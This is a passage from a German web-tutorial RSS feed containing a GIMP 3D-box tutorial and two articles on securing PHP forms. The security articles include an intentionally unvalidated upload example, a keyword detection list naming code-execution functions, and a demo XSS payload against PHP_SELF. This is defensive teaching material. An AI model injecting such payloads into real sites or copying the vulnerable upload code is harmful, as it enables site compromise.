			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/gimp.jpg" width="300" height="169" alt="GIMP Tutorial" /></div>
<p>Im zweiten GIMP Tutorial wird gezeigt, wie man in wenigen Schritten professionelle 3D-Boxen erstellen kann. Diese k&#246;nnen z.B. f&#252;r Dienstleistungen oder digitale Produkte verwendet werden.</p>
<p>In GIMP gibt es einen Filter, mit dem man Ebenen auf Objekte abbilden kann. Dadurch wird das Erstellen von 3D-Boxen total einfach, da wir die 3D Objekte gar nicht selber erstellen m&#252;ssen.</p>

<h2 class="headline">Los geht's</h2>
<p>Da wir in diesem Tutorial ein Raster verwenden, legen wir als erstes die Abst&#228;nde des Rasters in den Voreinstellungen fest (Bearbeiten > Einstellungen > Standardraster). Als Breite und H&#246;he w&#228;hlen wir 40 Pixel.</p>
<p><img src="http://www.web-tuts.de/images/posts/gimp-2-1.gif" width="400" height="360" alt="GIMP Standardraster" /></p>
<p>Als n&#228;chstes erstellen wir ein neues Bild mit einer Gr&#246;&#223;e von 400 x 500 Pixel.</p>
<p>Danach blenden wir das Raster ein (Ansicht > Raster anzeigen) und machen es magnetisch (Ansicht > Magnetisches Raster).</p>
<p>Nun erstellen wir eine neue transparente Ebene.</p>
<p>Wir w&#228;hlen das rechteckige Auswahlwerkzeug und ziehen eine Auswahl f&#252;r die Frontseite der 3D-Box (240 x 320 Pixel). Diese f&#252;llen wir erstmal mit einer grauen Farbe, damit wir die Ebene auf wei&#223;em Hintergrund besser erkennen k&#246;nnen.</p>
<p>Links daneben machen wir das selbe f&#252;r die rechte (von uns aus gesehen linke) Seite der 3D-Box. Dazu heben wir die Aushwal wieder auf (Auswahl > Nichts ausw&#228;hlen) und erstellen eine neue Ebene. Nun ziehen wir wieder eine Auswahl und f&#252;llen diese mit einem etwas dunkleren Grau. Anschlie&#223;end heben wir die Auswahl wieder auf.</p>
<p>Das ganze sieht dann ungef&#228;hr so aus:</p>
<p><img src="http://www.web-tuts.de/images/posts/gimp-2-2.gif" width="400" height="500" alt="GIMP Produktbox Seiten" /></p>
<p>Jetzt k&#246;nnt ihr mit dem Designen anfangen. Hier k&#246;nnt ihr eurer Kreativit&#228;t freien Lauf lassen. Zum Thema Cover-Design schreibe ich noch ein eigenes Tutorial.</p>
<p>Tipp: Um beide Seiten am Design anzupassen, k&#246;nnt ihr eine Auswahl von beiden Seiten erstellen und sp&#228;ter wieder aufteilen. Bei mir sieht das ganze so aus:</p>
<p><img src="http://www.web-tuts.de/images/posts/gimp-2-3.gif" width="399" height="500" alt="GIMP Cover-Design" /></p>
<p>Es wird Zeit das Projekt zu speichern, damit wir sp&#228;ter &#196;nderungen vornehmen k&#246;nnen.</p>
<p>Jetzt vereinen wir alle Ebenen die zur Frontseite geh&#246;ren auf eine Ebene, damit nur noch eine Ebene f&#252;r die Frontseite existiert. Dazu machen wir nur die Ebenen sichtbar, die zur Frontseite geh&#246;ren und w&#228;hlen im Kontextmen&#252; "Sichtbare Ebenen vereinen" (rechte Maustaste > Sichtbare Ebenen vereinen ...). Das selbe machen wir mit den Ebenen f&#252;r die andere Seite. Die beiden Ebenen benennen wir jetzt um in "Front" und "Seite". &#220;brig bleiben also nur noch 3 Ebenen: "Front", "Seite" und "Hintergrund".</p>
<p>Nun kommt der wichtigste Schritt, damit wir die 3D-Box erstellen k&#246;nnen. Wir m&#252;ssen die Ebenen auf die richtige Gr&#246;&#223;e zuschneiden. Dazu w&#228;hlen wir die Front-Ebene und machen eine Auswahl aus dem Alphakanal (rechte Maustaste > Auswahl aus Alphakanal). Danach w&#228;hlen wir Ebene > Auf Auswahl zuschneiden. Wir heben die Auswahl wieder auf und machen das selbe mit der anderen Ebene.</p>
<p>Wer das Raster noch nicht ausgeblendet hat, sollte dies jetzt tun.</p>
<p>Kommen wir zum 3D-Objekt. Wir erstellen eine neue transparente Ebene oberhalb der anderen Ebenen. Danach w&#228;hlen wir Filter > Abbilden > Auf Objekt abbilden...</p>
<p>Bei "Abbilden auf" w&#228;hlen wir "Quader" und aktivieren die Option "Transparenter Hintergrund". Im Reiter "Licht" w&#228;hlen wir als Lichtquellentyp "Keine Lichtquelle". Im n&#228;chsten Reiter "Ausrichtung" stellen wir den Wert Y bei der Rotation auf -15,0.</p>
<p>Im letzten Reiter "Quader" w&#228;hlen wir als Vorderseite unsere Front-Ebene und bei "Rechts" unsere Ebene "Seite". Zum Schluss setzen wir noch bei der Skalierung folgende Werte.</p>
<p><strong>X-Skalierung:</strong> 0,45<br />
<strong>Y:</strong> 0,50<br />
<strong>Z:</strong> 0,20</p>
<p>Und das war's auch schon <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  Wenn das ganze etwas unscharf ist, k&#246;nnen wir auch noch den Filter "Unscharf maskieren" anwenden.</p>
<p><img src="http://www.web-tuts.de/images/posts/gimp-2-4.gif" width="307" height="447" alt="GIMP Unscharf maskieren" /></p>
<h2 class="headline">Das Ergebnis</h2>
<p><img src="http://www.web-tuts.de/images/posts/produktbox.jpg" width="400" height="360" alt="GIMP Produktbox" /></p>
<p>Mit Farben > Einf&#228;rben ... k&#246;nnen wir die Farbe auch beliebig &#228;ndern.</p>
<p><img src="http://www.web-tuts.de/images/posts/produktboxen.jpg" width="400" height="360" alt="GIMP Produktbox" /></p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/gimp-tutorial-3-nuetzliche-web-2-0-buttons.html" rel="bookmark" title="Permanent Link: GIMP Tutorial #3 &#8211; N&#252;tzliche Web 2.0 Buttons">GIMP Tutorial #3 &#8211; N&#252;tzliche Web 2.0 Buttons</a></li><li><a href="http://www.web-tuts.de/gimp-tutorial-1-schneebedeckter-text.html" rel="bookmark" title="Permanent Link: GIMP Tutorial #1 &#8211; Schneebedeckter Text">GIMP Tutorial #1 &#8211; Schneebedeckter Text</a></li><li><a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html" rel="bookmark" title="Permanent Link: Advanced Local und Remote File Inclusion">Advanced Local und Remote File Inclusion</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/gimp-tutorial-2-3d-produktboxen.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small><img src="http://feeds.feedburner.com/~r/web-tuts/~4/oRyrhZMJPSE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/gimp-tutorial-2-3d-produktboxen.html/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://www.web-tuts.de/gimp-tutorial-2-3d-produktboxen.html</feedburner:origLink></item>
		<item>
		<title>Sichere Formulare – Teil 2</title>
		<link>http://feedproxy.google.com/~r/web-tuts/~3/bfNfKc7Bx8s/sichere-formulare-teil-2.html</link>
		<comments>http://www.web-tuts.de/sichere-formulare-teil-2.html#comments</comments>
		<pubDate>Wed, 30 Dec 2009 06:40:38 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Captcha]]></category>
		<category><![CDATA[Formulare]]></category>
		<category><![CDATA[Uploads]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=849</guid>
		<description><![CDATA[In zweiten Teil des Artikels &#252;ber sichere Formulare geht es um File Uploads und CAPTCHAs. Au&#223;erdem wird ein fertiges Formular-Script zum Download bereitgestellt, das ihr uneingeschr&#228;nkt auf eurer eigenen Website verwenden k&#246;nnt. 

Schutz vor Uploads von unerw&#252;nschten Dateien
Bei Upload-Formularen sollte man besonders auf eine ausreichende Validierung achten. Angreifer versuchen oft eigene Scripte (z.B. Webshells) hochzuladen, [...]]]></description>
			<content:encoded><![CDATA[<p>In zweiten Teil des Artikels &#252;ber <a href="http://www.web-tuts.de/sichere-formulare-teil-1.html">sichere Formulare</a> geht es um File Uploads und CAPTCHAs. Au&#223;erdem wird ein fertiges Formular-Script zum Download bereitgestellt, das ihr uneingeschr&#228;nkt auf eurer eigenen Website verwenden k&#246;nnt. </p>

<h2 class="headline">Schutz vor Uploads von unerw&#252;nschten Dateien</h2>
<p>Bei Upload-Formularen sollte man besonders auf eine ausreichende Validierung achten. Angreifer versuchen oft eigene Scripte (z.B. Webshells) hochzuladen, mit denen sie Kontrolle &#252;ber Dateien auf dem Webserver erlangen k&#246;nnen.</p>
<p>In dem Artikel &#252;ber <a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html">Local / Remote File Inclusion</a> habe ich bereits gezeigt, wie versierte Angreifer eigenen Code injizieren k&#246;nnen. Bei einem ungesch&#252;tzten Upload-Formular haben es (auch unerfahrene) Angreifer viel leichter, da sie gar nichts injizieren brauchen.</p>
<p>Hierzu ein kleines Beispiel (basierend auf dem Basis-Formular - siehe Teil 1).</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  if(move_uploaded_file($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;], &#039;uploads/&#039; . basename($_FILES[&#039;datei&#039;][&#039;name&#039;])))
    echo &#039;Die Datei wurde erfolgreich hochgeladen.&#039;;
?&gt;</code></pre>
<p>Die Funktion move_uploaded_file() erm&#246;glicht den Upload. Als zweiter Parameter wird das Verzeichnis und der Dateiname angegeben, wo die Datei hin verschoben werden soll. In diesem Fall im Verzeichnis uploads/ unter dem selben Dateinamen.</p>
<p><em>Hinweis: Das angegebe Verzeichnis muss ausreichende Schreibrechte haben.</em></p>
<p>Da hier keine &#220;berpr&#252;fung stattfindet, k&#246;nnen beliebige Dateien hochgeladen werden. Um das zu verhindern, m&#252;ssen wir erstmal wissen, welche Dateien &#252;berhaupt hochgeladen werden sollen. Bilder? Archive? Textdateien? Au&#223;erdem stellt sich die Frage, was mit den hochgeladenen Dateien angestellt werden soll. Sind sie im Web erreichbar oder werden sie irgendwo au&#223;erhalb des Document Roots auf dem Server gespeichert? Oder werden sie nur tempor&#228;r gespeichert und als Dateianhang per E-Mail verschickt?</p>
<p>In diesem Beispiel sollen auschlie&#223;lich Bilder hochgeladen werden, die anschlie&#223;end auf einer Webseite dargestellt werden.</p>
<h3>Maximale Dateigr&#246;&#223;e &#252;berpr&#252;fen / bestimmen</h3>
<p>Als erstes &#252;berpr&#252;fen wir die erlaubte Dateigr&#246;&#223;e. Dazu schauen wir uns den Wert der Direktive <em>upload_max_filesize</em> in der Konfigurationsdatei <em>php.ini</em> an. Wer keinen Zugriff auf diese Datei hat, kann den Wert auch einfach mit PHP ausgeben lassen:</p>
<pre class="prettyprint"><code>&lt;?php
  echo ini_get(&#039;upload_max_filesize&#039;)
?&gt;</code></pre>
<p>Standardm&#228;&#223;ig sind 2 MB erlaubt (<em>upload_max_filesize = 2M</em>). 2 MB sind f&#252;r Bilder denke ich mal okay. Ist dort ein h&#246;herer Wert angegeben, sollte man ihn &#228;ndern und wer keinen Zugriff auf die <em>php.ini</em> hat, sollte das ganze per .htaccess realisieren:</p>
<pre class="prettyprint"><code>php_value upload_max_filesize 2M</code></pre>
<h3>Dateiendung &#252;berpr&#252;fen</h3>
<p>Als n&#228;chstes &#252;berpr&#252;fen wir die Dateiendung. Da wir wissen, welche Dateiendungen Bilder haben, k&#246;nnen wir eine White-List mit erlaubten Dateiendungen erstellen.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  $erlaubt = array(&#039;.jpg&#039;, &#039;.jpeg&#039;, &#039;.gif&#039;, &#039;.png&#039;);
  $dateiendung = strtolower(strrchr($_FILES[&#039;datei&#039;][&#039;name&#039;], &#039;.&#039;));
  if(!in_array($dateiendung, $erlaubt))
    die(&#039;Ungueltiges Dateiformat! Erlaubte Dateiformate: JPG, GIF, PNG&#039;);
?&gt;</code></pre>
<h3>Dateiinformationen &#252;berpr&#252;fen</h3>
<p>Nun &#252;berpr&#252;fen wir noch, ob es sich um ein valides Bild handelt. Dazu eignet sich die Funktion getimagesize() - auch wenn diese nicht zu 100% zuverl&#228;ssig ist.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  if(!getimagesize($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;]))
    die(&#039;Ungueltiges Dateiformat!&#039;);
?&gt;</code></pre>
<p>Au&#223;erdem &#252;berpr&#252;fen wir den Inhalt der Datei, um evtl. Code Injection zu entdecken. Dies dient nur als zus&#228;tzlicher Schutz, um Angreifern die Ausnutzung von anderen Sicherheitsl&#252;cken (z.B. LFI) zu erschweren.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  $file = fopen($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;], &#039;rb&#039;);
  $contents = fread($file, filesize($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;]));
  fclose($file);

  $check = array(&#039;&lt;script&#039;, &#039;javascript:&#039;, &#039;&lt;?php&#039;, &#039;$_GET&#039;, &#039;$_POST&#039;, &#039;$_COOKIE&#039;, &#039;$_SERVER&#039;, &#039;$HTTP&#039;, &#039;system(&#039;, &#039;exec(&#039;, &#039;passthru&#039;, &#039;eval(&#039;, &#039;&lt;input&#039;, &#039;&lt;frame&#039;, &#039;&lt;iframe&#039;, &#039;http://&#039;);
  foreach($check as $chk)
    if(strpos($contents, strtolower($chk)) !== false)
      die(&#039;Code Injection erkannt!&#039;);
?&gt;</code></pre>
<h3>Eindeutige Dateinamen vergeben</h3>
<p>Nachdem wir alles validiert haben, k&#246;nnen wir nun die move_uploaded_file() Funktion verwenden, um die tempor&#228;re Datei in unser gew&#252;nschtes Verzeichnis zu verschieben.</p>
<p>Um zu verhindern, dass vorhandene Dateien mit dem selben Dateinamen &#252;berschrieben werden, geben wir der hochgeladenen Datei einen generierten und eindeutigen Dateinamen. Das k&#246;nnen wir mit uniqid() erledigen. Und um auf nummer sicher zu gehen, verwenden wir noch mt_rand() und verschl&#252;sseln das ganze mit md5().</p>
<p>F&#252;r die Dateiendung verwenden wir die zuvor definierte Variable $dateiendung.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  $dateiname = md5(uniqid(mt_rand(), true)) . $dateiendung;
  if(move_uploaded_file($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;], &#039;uploads/&#039; . $dateiname))
    echo &#039;Die Datei wurde erfolgreich hochgeladen.&#039;;
  else
    die(&#039;Fehler beim Hochladen der Datei!&#039;);
?&gt;</code></pre>
<p>Wer f&#252;r den Upload den selben Dateinamen verwenden will und in der Funktion move_uploaded_file() die Variable $_FILES['datei']['name'] nutzt, sollte unbedingt (wie im ersten Code-Beispiel zu sehen ist) die Funktion basename() verwenden, da ansonsten eine kritische Sicherheitsl&#252;cke entsteht. Angreifer k&#246;nnten wichtige, vorhandene Dateien in anderen Verzeichnissen &#252;berschreiben.</p>
<h2 class="headline">Schutz vor Spam und DoS - CAPTCHAs</h2>
<p><a href="http://de.wikipedia.org/wiki/CAPTCHA" target="_blank">CAPTCHAs</a> werden zum Schutz vor Spambots und <a href="http://de.wikipedia.org/wiki/Denial_of_Service" target="_blank">Denial of Service (DoS)</a> Angriffen verwendet. Wie man sowas in PHP realisiert werde ich in einem eigenen Artikel genauer erkl&#228;ren. An dieser Stelle m&#246;chte ich nur einmal auf Google's <a href="http://recaptcha.net/" target="_blank">reCAPTCHA</a> hinweisen.</p>
<h3>Rechenaufgaben und Fragen als Alternative</h3>
<p>Oft reicht es auch aus, normale Rechenaufgaben oder einfache Fragen zu verwenden.</p>
<p>Das k&#246;nnte z.B. so aussehen:</p>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  function newSession()
  {
    $_SESSION[&#039;zahl1&#039;] = mt_rand(1, 100);
    $_SESSION[&#039;zahl2&#039;] = mt_rand(1, 100);
    $_SESSION[&#039;ergebnis&#039;] = $_SESSION[&#039;zahl1&#039;] + $_SESSION[&#039;zahl2&#039;];
  }

  if(!isset($_SESSION[&#039;ergebnis&#039;]))
    newSession();

  //...
  if(isset($_POST[&#039;code&#039;]))
  {
    if((int)$_POST[&#039;code&#039;] != $_SESSION[&#039;ergebnis&#039;] ||
       strpos($_POST[&#039;code&#039;], &#039;.&#039;) !== false ||
       !is_numeric($_POST[&#039;code&#039;]) || is_array($_POST[&#039;code&#039;]))
    {
      echo &#039;Falsches Ergebnis!&#039;;
      unset($_SESSION[&#039;zahl1&#039;]);
      unset($_SESSION[&#039;zahl2&#039;]);
      unset($_SESSION[&#039;ergebnis&#039;]);
      newSession();
    }

    else
    {
      echo &#039;Richtig!&#039;;
      session_destroy();
      // Daten verarbeiten
      exit;
    }
  }

  $rechenaufgabe = $_SESSION[&#039;zahl1&#039;] . &#039; + &#039; . $_SESSION[&#039;zahl2&#039;] . &#039; = &#039;;
?&gt;

&lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
  &lt;?php echo $rechenaufgabe; ?&gt;&lt;input type=&quot;text&quot; name=&quot;code&quot; maxlength=&quot;3&quot; /&gt;
  &lt;input type=&quot;submit&quot; name=&quot;form&quot; value=&quot;Daten absenden&quot; /&gt;
&lt;/form&gt;</code></pre>
<p>Nat&#252;rlich w&#228;r es sinnvoll hier noch eine IP-Sperre nach x gescheiterten Versuchen einzubauen, da Spambots mit normalen Rechenaufgaben keine Probleme haben sollten. Allerdings kann man die Rechenaufgabe auch in Unicode oder mit JS ausgeben <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<pre class="prettyprint"><code>&lt;?php
  function unicode($ascii)
  {
    $unicode = &#039;&#039;;
    for($i = 0; $i &lt; strlen($ascii); $i++)
      $unicode .= &#039;&amp;#&#039; . ord(substr($ascii, $i, 1)) . &#039;;&#039;;

    return $unicode;
  }

  //...

  $rechenaufgabe = $_SESSION[&#039;zahl1&#039;] . &#039; + &#039; . $_SESSION[&#039;zahl2&#039;] . &#039; = &#039;;
  $rechenaufgabe = unicode($rechenaufgabe);

  //...
?&gt;</code></pre>
<p>Aus <strong style="background-color:#c4c4c4;padding:1px;">55 + 52 =&nbsp;</strong> wird dann folgendes.</p>
<pre class="srccode"><code>&amp;#53;&amp;#53;&amp;#32;&amp;#43;&amp;#32;&amp;#53;&amp;#50;&amp;#32;&amp;#61;&amp;#32;</code></pre>
<p>Auch wenn ein richtiges CAPTCHA um einiges sicherer ist, reichen solche einfachen Alternativen meiner Erfahrung nach meistens aus.</p>
<h2 class="headline">Fertiges Kontaktformular - einfach und sicher</h2>
<p>Wie versprochen habe ich ein fertiges Script geschrieben, das ihr euch <a href="http://www.web-tuts.de/downloads/bulletproof-contact-form/">hier downloaden</a> k&#246;nnt. Das ganze sieht ungef&#228;hr so aus:</p>
<p><img src="http://www.web-tuts.de/images/posts/kontaktformular.gif" width="464" height="462" alt="Kontaktformular" /></p>
<p>Es ist nur eine Datei und l&#228;uft ohne Datenbank. Das Formular kann bequem mit einer PHP Include-Funktion in einer Webseite eingebunden werden.</p>
<p>Das einzige, das ihr an dem Script &#228;ndern m&#252;sst, ist eure E-Mail Adresse und wenn ihr wollt den Betreff der E-Mail.</p>
<pre class="prettyprint"><code>&lt;?php
  define(&#039;EMPFAENGER&#039;, &#039;empfaenger@example.com&#039;); // Deine E-Mail Adresse
  define(&#039;BETREFF&#039;, &#039;Neue Nachricht - Kontaktformular&#039;); // Betreff der E-Mail
?&gt;</code></pre>
<p>Ich erstelle bald eine Download Seite, da gibt's dann nochmal ne ausf&#252;hrliche Beschreibung. Ansonsten einfach hier per Kommentar melden <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/sichere-formulare-teil-1.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 1">Sichere Formulare &#8211; Teil 1</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 2 &#8211; Phishing">Content-Spoofing &#8211; Teil 2 &#8211; Phishing</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 1 &#8211; JavaScript">Content-Spoofing &#8211; Teil 1 &#8211; JavaScript</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects">Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/sichere-formulare-teil-2.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small><img src="http://feeds.feedburner.com/~r/web-tuts/~4/bfNfKc7Bx8s" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/sichere-formulare-teil-2.html/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://www.web-tuts.de/sichere-formulare-teil-2.html</feedburner:origLink></item>
		<item>
		<title>Sichere Formulare – Teil 1</title>
		<link>http://feedproxy.google.com/~r/web-tuts/~3/eDA0MJEHrhQ/sichere-formulare-teil-1.html</link>
		<comments>http://www.web-tuts.de/sichere-formulare-teil-1.html#comments</comments>
		<pubDate>Tue, 22 Dec 2009 05:29:17 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Formulare]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=472</guid>
		<description><![CDATA[
Auf sehr vielen (dynamischen) Websites werden Formulare verwendet. H&#228;ufig sind sie da, um Benutzereingaben an eine Webanwendung zu &#252;bermitteln.
Da viele Sicherheitsl&#252;cken in Webanwendungen durch ungefilterte bzw. nicht-validierte Benutzereingaben entstehen, sind besonders Formulare ein beliebtes Ziel von Angreifern.
In diesem Artikel wird gezeigt, wie Formulardaten sicher mit PHP verarbeitet werden, um Sicherheitsl&#252;cken (und Spam) zu vermeiden (Teil [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/formularsicherheit.jpg" width="300" height="146" alt="Formularsicherheit" /></div>
<p>Auf sehr vielen (dynamischen) Websites werden Formulare verwendet. H&#228;ufig sind sie da, um Benutzereingaben an eine Webanwendung zu &#252;bermitteln.</p>
<p>Da viele Sicherheitsl&#252;cken in Webanwendungen durch ungefilterte bzw. nicht-validierte Benutzereingaben entstehen, sind besonders Formulare ein beliebtes Ziel von Angreifern.</p>
<p>In diesem Artikel wird gezeigt, wie Formulardaten sicher mit PHP verarbeitet werden, um Sicherheitsl&#252;cken (und Spam) zu vermeiden (Teil 1/2).</p>
<p>Grundlegende PHP-Kenntnisse sollten vorhanden sein bzw. sind von Vorteil.</p>

<h2 class="headline">Basis-Formular</h2>
<p>Folgendes Basis-Formular dient in diesem Artikel als Beispiel.</p>
<pre class="prettyprint"><code>&lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
  &lt;label for=&quot;name&quot;&gt;Name:&lt;/label&gt;
  &lt;input type=&quot;text&quot; name=&quot;name&quot; id=&quot;name&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;email&quot;&gt;E-Mail:&lt;/label&gt;
  &lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;url&quot;&gt;URL:&lt;/label&gt;
  &lt;input type=&quot;text&quot; name=&quot;url&quot; id=&quot;url&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;text&quot;&gt;Text:&lt;/label&gt;
  &lt;textarea cols=&quot;50&quot; rows=&quot;10&quot; name=&quot;text&quot; id=&quot;text&quot;&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;label for=&quot;datei&quot;&gt;Datei:&lt;/label&gt;
  &lt;input type=&quot;file&quot; name=&quot;datei&quot; id=&quot;datei&quot; /&gt;&lt;br /&gt;&lt;br /&gt;

  &lt;input type=&quot;submit&quot; name=&quot;form&quot; value=&quot;Daten absenden&quot; /&gt;
&lt;/form&gt;</code></pre>
<p>Im Browser sieht das ganze (formatiert) so aus:</p>
<p><img src="http://www.web-tuts.de/images/posts/form1.gif" width="388" height="478" alt="Formular" style="border:1px solid #c0c0c0;" /></p>
<h2 class="headline">Schutz vor Cross-Site Scripting (XSS)</h2>
<p>Wenn Benutzereingaben wieder ausgegeben werden, m&#252;ssen sie vorher ausreichend gefiltert werden, um XSS zu verhindern.</p>
<p>Dazu eignen sich die Funktionen htmlspecialchars() und htmlentities(). Diese Funktionen wandeln bestimmte Sonderzeichen in HTML-Codes um.</p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_POST[&#039;name&#039;]) &amp;&amp; !empty($_POST[&#039;name&#039;]))
    echo htmlentities($_POST[&#039;name&#039;]);
?&gt;</code></pre>
<p>Hierbei muss man beachten, dass diese Funktionen standardm&#228;&#223;ig keine einfachen Anf&#252;hrungszeichen (Single Quotes) umwandeln.</p>
<p>Damit auch Single Quotes umgewandelt werden, muss der Modus ENT_QUOTES als Parameter an die Funktionen &#252;bergeben werden.</p>
<pre class="prettyprint"><code>&lt;?php
  // ...
  $name = htmlentities($_POST[&#039;name&#039;], ENT_QUOTES);
  echo &quot;&lt;input type=&#039;text&#039; name=&#039;name&#039; value=&#039;$name&#039; /&gt;&quot;;
  // ...
?&gt;</code></pre>
<p>Oft kommt es auch vor, dass im action-Attribut des Formulars die Variable $_SERVER['PHP_SELF'] verwendet wird. Diese Variable enth&#228;lt den Dateinamen des aktuell ausgef&#252;hrten Scripts, relativ zum Document Root.</p>
<p>Auch diese Variable ist anf&#228;llig f&#252;r XSS. Ein Angreifer k&#246;nnte z.B. beliebigen JavaScript Code direkt in der URL &#252;bergeben.</p>
<pre class="srccode"><code>vuln.php/&quot;&gt;&lt;script&gt;alert(&#039;XSS&#039;);&lt;/script&gt;</code></pre>
<p>Die Variable $_SERVER['PHP_SELF'] muss also auch vor der Ausgabe gefiltert werden.</p>
<pre class="prettyprint"><code>&lt;form action=&quot;&lt;?php echo htmlentities($_SERVER[&#039;PHP_SELF&#039;]); ?&gt;&quot; method=&quot;post&quot;&gt;</code></pre>
<p>Allerdings gibt es hierbei ein weiteres Problem bei alten PHP Versionen. Durch anh&#228;ngen von Slashes k&#246;nnte dem action-Attribut eine externe URL zugewiesen werden. Angreifer k&#246;nnten somit die eingegebenen Daten empfangen und auslesen.</p>
<p>Eine sichere Alternative w&#228;r hier sinnvoller. In den meisten F&#228;llen reicht ein leerer String oder f&#252;r die eigene Verwendung eine statische Angabe.</p>
<p>Soweit zum Schutz vor XSS auf der Webseite. Doch wie sieht es mit dem E-Mail Client aus? Die meisten E-Mail Clients unterst&#252;tzen HTML-Mails. Wenn Benutzereingaben in E-Mails wieder ausgegeben werden, m&#252;ssen diese auch ausreichend gefiltert werden. Allerdings nur dann, wenn es sich auch wirklich um HTML-Mails handelt.</p>
<pre class="prettyprint"><code>&lt;?php
  // ...
  $header = &#039;Mime-Version: 1.0&#039; . &quot;\r\n&quot;;
  $header .= &#039;Content-type: text/html; charset=iso-8859-1&#039; . &quot;\r\n&quot;;
  $nachricht = htmlentities($_POST[&#039;text&#039;]);
  mail(&#039;empfaenger@example.com&#039;, &#039;Betreff&#039;, $nachricht, $header);
?&gt;</code></pre>
<h2 class="headline">Schutz vor Full Path Disclosure</h2>
<p>Full Path Disclosure geh&#246;rt zwar zu den "harmlosen" Sicherheitsl&#252;cken, man sollte sie aber nicht untersch&#228;tzen. In dem Artikel <a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html">Sicherheitsl&#252;cken kombinieren</a> habe ich bereits gezeigt, wie aus harmlosen Sicherheitsl&#252;cken kritische werden k&#246;nnen.</p>
<p>Durch Full Path Disclosure (oder allgemein Information Disclosure) k&#246;nnen Angreifer den vollst&#228;ndigen Pfad auslesen. Manchmal m&#252;ssen Angreifer sogar den Pfad kennen, damit sie andere Sicherheitsl&#252;cken ausnutzen k&#246;nnen.</p>
